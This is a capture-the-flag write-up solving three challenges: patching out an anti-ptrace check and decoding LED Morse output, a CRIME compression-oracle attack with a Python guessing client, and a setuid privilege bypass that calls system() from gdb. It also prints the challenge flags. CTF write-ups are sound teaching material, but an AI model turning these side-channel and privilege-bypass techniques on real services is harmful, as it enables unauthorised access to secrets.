Problem 12: three_eyed_fish [Binary]
We have a Linux amd64 executable trying to do something mysterious. It doesn't want to be traced (ptrace(0,0,0,0)
); an easy workaround is to patch the binary to replace ptrace
by something inoccuous like read
. Also, the program tries to open /dev/tty0
; patch this to /dev/tty
. Tracing reveals calls to nanosleep
for 250ms; either give it a few minutes to finish or patch the sleep duration down. This is what I did:
$ cmp -l three_eyed_fish three_eyed_fish.patched
874 160 162
875 164 145
876 162 141
877 141 144
878 143 0
879 145 0
9299 346 0
9300 16 0
9573 60 0
A trace of the executable shows that it the KDSETLED
ioctl to switch a LED on, sleeps for either one or three 250ms periods, then switches the LED back off. Can you say Morse code?
$ strace -o trace three_eyed_fish.patched
$ <trace <1.strace awk '/KDSETLED/ {printf "%d", ($3 == "0)" ? 0 : 1)} /sleep/ {printf "s"} END {print ""}' | sed -e 's/1s0s/./g' -e 's/1sss0s/-/g' -e 's/ss/ /g'
.- -. -.. ----- ..- ----- -.. .. -.. -. - ----- . ...- . -. ----- -. . . -.. ----- .- -. ----- .- .-. -.. ..- .. -. ---
The flag is:
and0u0didnt0even0need0an0arduino
Problem 2: compression [Cryptography]
The goal is to find a 20-byte problem key $P$. We are told that $P$ only contains lowercase letters and underscore.
The script does the following:
In summary: compress the user's input, append the secret key, compress, encrypt, output the ciphertext.
This leaks the size of the compressed string, which in turn gives information about commonalities between the secret key and the user-chosen input. In a word: CRIME (well known on Sec.SE).
I was lazy, so I only wrote a quick-and-dirty client to guess one additional character.
#!/usr/bin/env python
import os
import socket
import struct
import sys
addr = ('54.234.224.216', 4433)
alphabet = 'abcdefghijklmnopqrstuvwxyz_'
def submit(prefix):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(addr)
sock.recv(8)
attempts = [prefix + a for a in alphabet]
for attempt in attempts:
payload = attempt * 64
sock.sendall(struct.pack('I', len(payload)))
sock.sendall(payload)
n = struct.unpack('I', sock.recv(4))[0]
sock.recv(n)
print n, attempt
sock.close()
return n
if __name__ == '__main__':
submit(sys.argv[1] if len(sys.argv) > 1 else sys.stdin.read()[:-1])
c
… r
… i
… Gee, crime_
, yup, s
, o
, m
, …
crime_sometimes_pays
Problem 16: secure_reader [Pwnable]
The flag is in /home/securereader/flag
. Only the securereader
user can read it.
The program /home/securereader/secure_reader
is setuid securereader
. Let's try calling it:
$ /home/securereader/secure_reader /home/securereader/flag
This may only be called by /home/securereader/reader
$ /home/securereader/reader /home/securereader/flag
File is not in a whitelisted directory!
strings /home/securereader/reader
shows /tmp/
as a directory (and others that are unlikely to matter as they are from libc components). Lookie here, /tmp/flag
has the same date, size and permissions as /home/securereader/flag
!
$ /home/securereader/reader /home/securereader/flag
This may only be called by /home/securereader/reader
Odd. A trace reveals that secure_reader
's parent is /bin/dash
, instead of reader
as intended. Break out a copy of Gdb:
$ gdb /home/securereader/reader
(gdb) b main
(gdb) r
(gdb) call system("exec /home/securereader/secure_reader /tmp/flag")
that_was_totally_a_good_idea